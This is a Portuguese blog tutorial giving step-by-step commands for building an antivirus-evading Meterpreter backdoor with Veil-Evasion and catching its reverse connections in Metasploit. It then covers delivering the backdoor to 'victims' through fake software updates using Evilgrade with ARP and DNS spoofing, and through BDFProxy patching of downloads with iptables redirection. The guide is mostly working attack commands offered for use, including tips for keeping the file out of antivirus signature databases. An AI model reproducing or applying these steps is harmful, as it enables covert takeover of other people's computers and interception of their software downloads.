Israel Helton Wernik

I'm a Cyber Researcher and Python Programmer.

Backdoors -Veil 3 e entrega com Evilgrade e bdf Proxy

08 Jan 2018 »

O ideal é tentar começar um ataque pelo lado do servidor, se não houve êxito ou o alvo não está na nossa mesma network ou protegido por um firewall e não é possível fazer um ping para ele será necessário um ataque pelo lado do cliente, pois dessa forma o alvo precisará de uma interação como abrir uma foto ou um arquivo PDF.



Para esse método será necessário engenharia social e coleta de informações do alvo.

Nesse método focamos nas pessoas e não nos sistemas.

Criar um Backdoor com Veil Framework

Neste capítulo, vamos trabalhar com o Veil. Este framework contém várias ferramentas para criar payloads, esconder payloads dentro executáveis ou PDFs, entregar payloads úteis, coletar informações e permitir pós-exploração.

Muitos hackers vão usar Veil porque da forma como ela é eficaz na codificação e entrega de payloads . Permanecendo sem ser detectado por anti-vírus ( AV ) ou sistemas de detecção de intrusão ( IDS ) é uma prioridade para qualquer hacker.

Instalando


No kali vamos instalar o Veil: https://github.com/Veil-Framework/Veil


Vá em clone or download
Copie, vá ao terminal e vamos navegar até o opt


> cd /opt
> ls
> pwd
git clone [url do clone]
> cd Veil/
> ls
> cd setup/
> ls
> ./setup.sh




Deve-se continuar aceitando todo o processo e instalando as ferramentas.


Agora voltamos ao Root


> cd /root
Usando o Veil


Instalamos ele no opt então vamos para lá
> cd /opt/Veil/
> ls
> ./Veil.py




Entramos na tela de início e poderemos começar a utilizar a ferramenta.




Logo vemos os comandos que podemos usar.


O Veil 3.0 tem duas ferramentas e podemos ver elas com o comando list


> list



O Evasion cria Backdoors indetectáveis e o Ordnance cria payloads para o Evasion. O Payload é uma parte de código que pode nos dar acesso e permissões no computador do alvo.

Para usar o evasion rodamos o comando


> use 1




Com o comando list podemos ver todos os payloads disponíveis


> list


E veremos uma lista com vários Payloads disponíveis




Vamos analisar o Payload 15 que é dividido em três partes:
go/meterpreter/rev_https.py


go - A linguagem em que o payload é escrito

meterpreter - o tipo de código que será executado no alvo, nesse caso é um payload feito pelo metasploit e ele permite ser rodado como um processo normal e ter controle total ao computador do alvo sendo um processo normal no qual será muito difícil de ser detectado.

rev_https.py - É o método em que será estabelicido conexão ao alvo rev= reverse e https o protocolo usado. Reverse attack é quando o alvo clicar em meu backdoor o computador dele enviará informações ao computador que está atacando e não será bloqueado pelo firewall pois o computador acha que será apenas uma conexão normal a algum website por usar portas de websites.

Se vermos o 18

lua/shelcode_inject/flat.py que difere do padrão anterior, esse específico injeta código em outro payload.

Criando um Backdoor

Na tela inicial do veil digitar:
> list
selecionar o evasion
> 1
listar os Payloads disponíveis
> list
Utilizaremos o número 15 go/meterpreter/rev_https.py
> use 15


Vemos informação Sobre o Payload e precisamos definir o LHOST, que será o IP no qual o payload ou o backdoor vai se conectar, o Kali do Hacker.

Podemos mudar qualquer dado com o comando set




Fazemos ifconfig em outro terminal e pegamos nosso ip


No terminal do Veil evasion:


> set LHOST [IP do kali]

Vemos que o LPORT é 80, o que é ótimo pois é a porta dos navegadores, porém não usaremos essa porta pois há um webserver rodando nessa, por isso usaremos a porta 8080 que também é utilizada por navegadores e não é suspeita.

> set LPORT 8080




Quando vemos as opções novamente vemos que está tudo atualizado


> options




Criando um backdoor assim, passaremos por qualquer antivirus exceto o AVG, e isso não é bom pois queremos ultrapassar todos os Antivirus.

Enganando o Antivirus

Os antivírus possuem uma base de dados contendo as assinaturas dos vírus de que podem eliminar. Desta forma, somente após a atualização de seu banco de dados, os vírus recém-descobertos podem ser detectados. Se o seu arquivo está com alguma dessas assinaturas o antivirus detecta, porém se você muda a assinatura o antivirus acha que é um programa normal.

Devemos mudar nosso arquivo para que ele seja único e não esteja no banco de dados do antivírus.

A primeira mudança deve ser os processors, o número mínimo de processadores que devem estar presentes no sistema para que o payload seja executado.

Mudando isso nosso backdoor já terá uma assinatura diferente. mudaremos para 1 pois um número alto pode fazer com que ele não funcione.

> set PROCESSORS 1



Também mudaremos a opção sleep que serve para o Backdoor ficar um tempo inativo antes de ativar o código malicioso. Mudamos para qualquer número apenas para ele ficar diferente

> set SLEEP 6
> options


Tudo pronto:




Para gerar o backdoor só precisamos executar o comando
> generate

Agora devemos escolher o nome do Backdoor, colocaremos rev_https_8080 para lembrarmos do que se trata, mas pode ser qualquer nome.



O Backdoor foi generado e nos mostra onde está o arquivo e outros dados




Copiamos o local que ele está, Executable written to:

Vamos agora verificar se ele está indetectável ao antivírus, podemos fazer isso com uma ferramenta do próprio veil, porém ela não é tão eficaz.

Não é recomendavel utilizar o virustotal pois ele vai enviar a assinatura de nosso backdoor ao banco de dados dos antivírus.

O melhor, agora, é um site chamado https://nodistribute.com/


Selecionamos o SCANFILE, e colocamos o endereço do arquivo backdoor no pesquisador




Podemos ver que o arquivo não foi detectado por todos os antivirus



Agora podemos usar esse arquivo com qualquer device e ter certeza que os antivírus não vão detectar como malicioso.

Os antivírus sempre renovam suas base de dados, e o veil também o correto é sempre verificar. por exemplo esse mesmo backdoor com o SLEEP 10 foi reconhecido por um antivírus.

Manipulando o Payload e Conexões de entrada

Programamos para nosso backdoor conectar com a nossa porta 8080, agora precisamos configurar nossa conexão de entrada. Faremos isso com o metasploit framework pois esse payload foi criado pelo metasploit.

nosso backdoor era:


go/meterpreter/rev_https, port 8080


iniciamos o metasploit framework com o comando


>msfconsole


Queremos utilizar o módulo que verifica as conexões de entrada. Esse


> use exploit/multi/handler
> show options


O mais importante é especificar o payload




Podemos ver que a opção que surgiu é [windows/meterpreter/reverse_tcp] porém o nosso payload é [go/meterpreter/rev_https] por isso devemos mudar isso.

A primeira parte está ótimo pois nosso alvo é um windows.
o que precisamos mudar é o [reverse_tcp] par [reverse_https]
mudamos isso da mesma forma que fizemos com o veil evasion


> set PAYLOAD windows/meterpreter/reverse_https
vamos conferir
> show options



Agora devemos verificar se todas as opções estao corretas e mudar, nesse caso o LHOST está correto, mas devemos verificar todos os dados.

A porta não está correta pois queremos usar a porta 8080 então executamos o comando

> set LPORT 8080


Agora só precisamos executar o backdoor com o comando
> exploit

Agora, qualquer pessoa que clicar e executar nosso Backdoor, enviará conexão ao nosso computador e podemos ter controle total.

Agora devemos ver como enviar esse backdoor aos computadores das vítimas.

Errors:
Se der problema com o set, tente fazer apt-get full ugrade


Testando o Backdoor com webserver do Kali

Utilizando o webserver do Kali para testar no Windows



Primeiro utilizaremos uma forma simples para testar o Backdoor enviando e abrindo o arquivo no alvo

podemos utilizar o endereço do webserver do linux: var/www/html nos arquivos, criar uma pasta arquivos maliciosos e colocar o backdoor que criamos nele

Para acessar nosso backdoor vamos ao endereço nos arquivos:

var/lib/veil-evasion/output/compiled.

Copiamos esse arquivo na pasta de arquivos maliciosos

para começar esse website devemos colocar o comando
> service apache2 start


No windows só precisamos navegar até o IP do kali




Isso é o que está no var/www/html do Kali


como queremos testar o backdoor só devemos escrever o IP/arquivos-maliciosos



Agora podemos testar o Backdoor. E logo vemos no kali que temos conexão com o alvo e agora temos controle total. e estamos na sessão meterpreter. Veremos o que podemos fazer com isso no artigo sobre Pós-Conexão.

> sysinfo




Enviar o Backdoor ao Alvo
Falso Update para instalar Backdoor com
Evilgrade e MITMf



Vimos como fazer backdoor porém a pessoa precisa executar o que é difícil

Agora iremos criar um falso-update, o alvo tem o programa e vai atualizar ele, porém estará instalando nosso Backdoor

Precisamos estar com Men-In-the-Middle ou com uma internet falsa ou com MITMf como demonstrei nos outros artigos.

Faremos com DNS Spoofing e uma ferramenta chamada Evilgrade que cria falsos updates.

Podemos utilizar essa ferramenta nos seguintes cenários:
internal scenery:
  • Internal DNS access
  • ARP spoofing
  • DNS Cache Poisoning
  • DHCP spoofing
  • TCP hijacking
  • Wi-Fi Access Point impersonation
External scenery:
  • Internal DNS access
  • DNS Cache Poisoning


  1. Instalar evilgrade
git clone https://github.com/infobyte/evilgrade.git


cd evilgrade/
cpan Data::Dump
cpan Digest::MD5
cpan Time::HiRes
cpan RPC::XML


Now the tool will work, it might display an error about Gnu.pm
this is a known bug with evil-grade, if its annoying you
the you can get rid of it using the by removing that lib using
the following command


apt-get remove libterm-readline-gnu-perl


Just make sure you re-install it after you're done in case it is
needed by other tools


apt-get install libterm-readline-gnu-perl


2. Executar o evilgrade  


> ./evilgrade




Ver todos os programas que ele pode instalar:


> show modules


E podemos ver todos os programas que podemos criar o falso update


  • Freerip 3.30
  • Jet photo 4.7.2
  • Teamviewer 5.1.9385
  • ISOpen 4.5.0
  • Istat.
  • Gom 2.1.25.5015
  • Atube catcher 1.0.300
  • Vidbox 7.5
  • Ccleaner 2.30.1130
  • Fcleaner 1.2.9.409
  • Allmynotes 1.26
  • Notepad++ 5.8.2
  • Java 1.6.0_22 winxp/win7
  • aMSN 0.98.3
  • Appleupdate <= 2.1.1.116 ( Safari 5.0.2 7533.18.5, <= Itunes 10.0.1.22, <= Quicktime 7.6.8 1675)
  • Mirc 7.14
  • Windows update (ie6 lastversion, ie7 7.0.5730.13, ie8 8.0.60001.18702, Microsoft works)
  • Dap 9.5.0.3
  • Winscp 4.2.9
  • AutoIt Script 3.3.6.1
  • Clamwin 0.96.0.1
  • AppTapp Installer 3.11 (Iphone/Itunes)
  • getjar (facebook.com)
  • Google Analytics Javascript injection
  • Speedbit Optimizer 3.0 / Video Acceleration 2.2.1.8
  • Winamp 5.581
  • TechTracker (cnet) 1.3.1 (Build 55)
  • Nokiasoftware firmware update 2.4.8es - (Windows software)
  • Nokia firmware v20.2.011
  • BSplayer 2.53.1034
  • Apt ( < Ubuntu 10.04 LTS)
  • Ubertwitter 4.6 (0.971)
  • Blackberry Facebook 1.7.0.22 | Twitter 1.0.0.45
  • Cpan 1.9402
  • VirtualBox (3.2.8 )
  • Express talk
  • Filezilla
  • Flashget
  • Miranda
  • Orbit
  • Photoscape.
  • Panda Antirootki
  • Skype
  • Sunbelt
  • Superantispyware
  • Trillian <= 5.0.0.26
  • Adium 1.3.10 (Sparkle Framework)
  • VMware
  • more...

Escolhemos o programa dap (download accelerator plus) com o comando


> configure dap


> show options
/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 09.55.29.png



demonstra como é o agent original e iremos colocar o nosso agent no lugar do dele:

Por alguma razão o Backdoor _https que criamos anteriormente entra em conflito com o DAP, por isso iremos usar um novo backdoor _http

Mudamos o agent com o endereço de nosso Backdoor que mudamos o nome para backdoor.exe:

> set agent /var/www/html/backdoor.exe  (o diretorio de onde está o backdoor criado)
> show options
/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 09.58.48.png

Ainda podemos mudar qualquer opção como o failsite, o site que mostrará quando o download não funcionar ou endsite.

> start


agora fazer o MITM attack para enviar esse falso update ao alvo.

Devemos fazer um web spoofing para quando a vítima entrar no site que está descrito como virtualhot, em nosso caso (update.speedbit.com) redirecionar o alvo ao evilgrade. Faremos isso com o MITMf

em outra janela


> leafpad /etc/mitmf/mitmf.conf


/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 10.03.44.png

Para DNS Utilizar a porta 5353 pois ela é mais neutra e não está sendo utilizada e o evilgrade está rodando na porta 53, teríamos um conflito se os dois estiverem na mesma porta.


Nos [[[A]]] records vemos que estamos redirecionando qualquer request de update.speedbit.com para nosso IP



Tudo correto só devemos fazer o MITMf


Agora faremos o ataque MITMF


> mitmf --arp --spoof --gateway (ip do kali) --target (ip do target) -i eth0 --dns
/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 10.07.39.png


Em outra Janela fazer o comando
>  msf Exploit
> show options


/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 10.10.29.png


podemos ver que temos o nome do Payload
o LHOST correto
Será na porta 8080 (importante)


> Exploit


/Users/Wernik/Desktop/Captura de Tela 2017-12-28 às 10.11.37.png


Agora vai no Alvo e faz atualização do DAP no site oficial.




E podemos ver no Kali que temos conexão com o alvo
Veremos em outro artigo como utilizar o meterpeter para ter acesso total ao alvo  em outro artigo


Entrega de Backdoors 2 - Backdoor factory
proxy, Acionar o Backdoor instalando
um programa no site oficial




Utilizar três telas


Na tela um:


Primeiro precisamos configurar algumas configurações do bdf proxy
> Leafpad /etc/bdfproxy/bdfproxy.cfg


../Captura%20de%20Tela%202017-12-31%20às%2011.51.56.png


Tem que deixar o proxyMode em transparent

Aonde estiver escrito Host em windowsIntelx86 e windowsIntelx64 em todos os HOSTS deve colocar o IP do Atacante (Kali)

../Captura%20de%20Tela%202017-12-31%20às%2011.54.50.png


Após isso executar o comando para iniciar o bdfProxy


> BDFProxy




Podemos ver o arquivo de verificação de conexões de entrada


Etapa 2. redirecionar a conexão

Precisamos redirecionar qualquer trafego da porta 80 para porta 8080(local em que o proxy está rodando), faremos isso com o iptable, Sistema de controle de filtros para protocolos ipv4

Na segunda tela fazer o comando iptable


> iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080


tudo o que for na porta 80 será redirecionado a porta 8080 do Kali, pois são portas de http.


Agora faz o ataque mitmf básico, ainda na segunda tela
> mitmf --arp --spoof --gateway (ip do gateway) --target (ip do target) -i eth0


Etapa 3.

Na terceira tela iniciar o metasploitable para receber as comunicações com o local que está os resources do bdfproxy

Para saber o exato local do bdfproxy:
> updatedb
> locate bdfproxy_msf_resource.rc


> msfconsole -r /urs/share/bdfproxy/bdfproxy_msf_resource.rc


../Captura%20de%20Tela%202017-12-31%20às%2012.07.20.png


Após o enter ficará assim:


../Captura%20de%20Tela%202017-12-31%20às%2012.08.04.png


No Windows 10, quando ele baixar o DAP no site original irá abrir a porta para nosso Backdoor




O alvo receberá o arquivo oficial de instalação, porém também estará acionando nosso Backdoor


Backdoor acionado no alvo:


../Captura%20de%20Tela%202017-12-31%20às%2012.10.48.png


Para ver o acesso:


> sessions -i 1
> sysinfo


../Captura%20de%20Tela%202017-12-31%20às%2012.15.15.png